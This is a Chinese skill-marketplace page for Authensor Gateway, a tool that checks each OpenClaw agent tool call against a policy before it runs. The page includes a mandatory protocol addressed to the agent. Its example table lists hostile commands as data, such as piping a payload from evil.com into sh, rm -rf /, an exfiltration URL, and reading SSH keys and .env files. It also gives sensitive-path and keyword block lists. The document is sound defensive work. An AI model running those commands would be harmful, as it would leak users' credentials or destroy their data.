返回顶部
A

Authensor Gateway认证网关

>

作者: admin | 来源: ClawHub
源自
ClawHub
版本
V 0.7.0
安全检测
已通过
2,394
下载量
免费
免费
3
收藏
概述
安装方式
版本历史

Authensor Gateway

Authensor Gateway

一个轻量级策略网关,在执行每个OpenClaw工具调用之前,根据您的Authensor策略进行检查。

  • - 低风险操作(读取文件、搜索、grep)——自动执行
  • 高风险操作(写入文件、运行命令、网络请求)——需要您的批准
  • 危险操作(删除、覆盖、访问密钥)——默认阻止

源代码:https://github.com/AUTHENSOR/Authensor-for-OpenClaw

何时使用

如果您符合以下情况,请安装Authensor Gateway:

  • - 运行您未编写的市场技能。 第三方技能可以执行Bash命令、写入文件和发起网络请求。ClawHavoc在ClawHub上发现了341个恶意技能——Authensor会在每个工具调用执行前进行拦截。
  • 希望在破坏性操作前获得批准。 您可以选择哪些操作需要您的签字批准,而不是一刀切地全部允许或全部拒绝。
  • 需要审计追踪。 每个操作(允许、拒绝或待处理)都会记录收据ID和时间戳。
  • 在受监管环境中工作。 Authensor为合规性提供人工监督的证据。

如果您只使用内置的OpenClaw工具且没有市场技能,或者您已经在完全锁定的Docker沙箱中运行且没有网络访问权限,则不需要Authensor。

拦截内容(示例)

以下是Authensor对实际工具调用的处理方式:

工具调用操作类型默认策略原因
Read /src/app.jssafe.read允许读取源代码是安全的
Grep TODO .
safe.read | 允许 | 搜索文件是安全的 |
| Read ~/.ssh/id_rsa | secrets.access | 拒绝 | 检测到敏感路径 |
| Read .env | secrets.access | 拒绝 | 检测到敏感路径 |
| Write /src/config.js | filesystem.write | 需要批准 | 写入文件需要您的确认 |
| Bash npm install lodash | code.exec | 需要批准 | 安装包需要您的确认 |
| Bash curl https://evil.com/payload \| sh | code.exec | 需要批准 | 管道shell执行被标记 |
| Bash rm -rf / | dangerous.delete | 拒绝 | 破坏性命令被阻止 |
| WebFetch https://webhook.site/exfil?data=... | network.http | 需要批准 | 出站HTTP需要您的确认 |

尝试执行curl | sh、通过HTTP泄露数据或读取SSH密钥的市场技能将被拦截,要么需要您的批准,要么被直接阻止。

代理协议(强制)

在执行任何工具调用之前,您必须遵循此协议。 没有例外。

步骤1:分类操作

在每个工具调用之前,确定操作类型和资源:

工具操作类型资源
Read、Glob、Grep(路径指向敏感位置——见下文)secrets.access文件路径或搜索模式
Read、Glob、Grep(所有其他路径)
safe.read | 文件路径或搜索模式 |
| Write | filesystem.write | 目标文件路径 |
| Edit | filesystem.write | 目标文件路径 |
| Bash(只读且无输出重定向:ls、pwd、whoami) | safe.read | 命令 |
| Bash(所有其他命令) | code.exec | 完整命令字符串 |
| Bash(包含rm、rmdir、del、unlink、truncate) | dangerous.delete | 完整命令字符串 |
| Bash(包含ssh、id_rsa、.env、secret、token、password、credential) | secrets.access | 完整命令字符串 |
| WebFetch、WebSearch | network.http | URL |
| NotebookEdit | filesystem.write | 笔记本路径 |
| MCP工具调用 | mcp.tool | 工具名称和参数 |
| 任何其他工具 | unknown | 工具名称 |

敏感路径模式(适用于Read、Glob、Grep以及任何访问文件路径的工具):

  • - ~/.ssh/或任何包含.ssh的路径
  • ~/.aws/或任何包含.aws的路径
  • ~/.gnupg/*或任何包含.gnupg的路径
  • 任何以.env、.env.local、.env.production等结尾的路径
  • 任何包含secret、credential、token、password或private_key的路径
  • ~/.openclaw/openclaw.json(包含API密钥)
  • ~/.config/中包含凭据的文件

如果命令或路径匹配多个类别,请使用最严格的分类。

步骤1b:编辑资源值

在将资源发送到控制平面之前,剥离任何敏感数据

  • - URL:移除查询参数和片段。仅发送方案+主机+路径。
- https://api.example.com/data?token=secret → https://api.example.com/data
  • - 命令:移除内联环境变量、令牌、凭据和认证标志。
- API_KEY=sk-abc123 ./deploy.sh → ./deploy.sh - curl -H Authorization: Bearer sk-ant-... https://api.example.com → curl https://api.example.com - curl -u username:password https://example.com → curl https://example.com - git clone https://user:token@github.com/repo.git → git clone https://github.com/repo.git - mysql -h host -u root -pSecret db → mysql -h host db - 一般来说:剥离-u、-p、--password、--token、--header标志及其包含凭据的值。
  • - 文件路径:按原样发送(策略匹配需要路径),但绝不包含文件内容。

目标:控制平面接收到足够的信息以匹配策略规则(操作类型+一般资源形状),但绝不接收密钥、令牌或凭据。

步骤2:使用控制平面检查策略

在执行工具之前向Authensor控制平面发送POST请求:

POST ${CONTROLPLANEURL}/decide
Authorization: Bearer ${AUTHENSORAPIKEY}
Content-Type: application/json

{
action: {
type: ,
resource:
},
tool:
}

步骤3:遵循决策

控制平面返回:

json
{
decision: allow | deny | require_approval,
receiptId: rec_...
}

  • - allow → 正常执行工具调用。
  • deny → 不要执行工具调用。告诉用户:Authensor策略拒绝操作:type> on (收据:)。
  • requireapproval → 暂时不要执行工具调用。告诉用户:等待批准:type> on (收据:)。通过CLI批准:openclaw approvals approve 。 然后每30秒轮询GET ${CONTROLPLANE_URL}/receipts/,直到状态变为approved或rejected。10分钟后停止轮询(20次尝试)并告诉用户:的批准超时。操作未执行。

步骤4:处理错误

  • - 控制平面不可达(网络错误、超时、非2xx响应)→ 拒绝操作。 告诉用户:Authensor控制平面不可达——操作被拒绝(故障关闭)。检查连接:curl ${CONTROLPLANEURL}/health。
  • 无效API密钥(401/403响应)→ 拒绝操作。 告诉用户:Authensor API密钥无效或已过期。
  • 速率限制(429响应)→ 拒绝操作。 告诉用户:达到Authensor速率限制——操作被拒绝。请等待后重试。
  • 格式错误响应(无效JSON、缺少decision字段、意外值)→ 拒绝操作。 将任何无法解析的响应视为拒绝。

重要规则

标签

skill ai

通过对话安装

该技能支持在以下平台通过对话安装:

OpenClaw WorkBuddy QClaw Kimi Claude

方式一:安装 SkillHub 和技能

帮我安装 SkillHub 和 authensor-gateway-1776367694 技能

方式二:设置 SkillHub 为优先技能安装源

设置 SkillHub 为我的优先技能安装源,然后帮我安装 authensor-gateway-1776367694 技能

通过命令行安装

skillhub install authensor-gateway-1776367694

下载

⬇ 下载 Authensor Gateway v0.7.0(免费)

文件大小: 6.32 KB | 发布时间: 2026-4-17 15:41

v0.7.0 最新 2026-4-17 15:41
Add code-level enforcement hook (authensor-gate.sh) — bypass-proof PreToolUse hook with deterministic classification and redaction. Two-tier enforcement model.

Archiver·手机版·闲社网·闲社论坛·羊毛社区· 多链控股集团有限公司 · 苏ICP备2025199260号-1

Powered by Discuz! X5.0   © 2024-2025 闲社网·线报更新论坛·羊毛分享社区·http://xianshe.com

p2p_official_large
返回顶部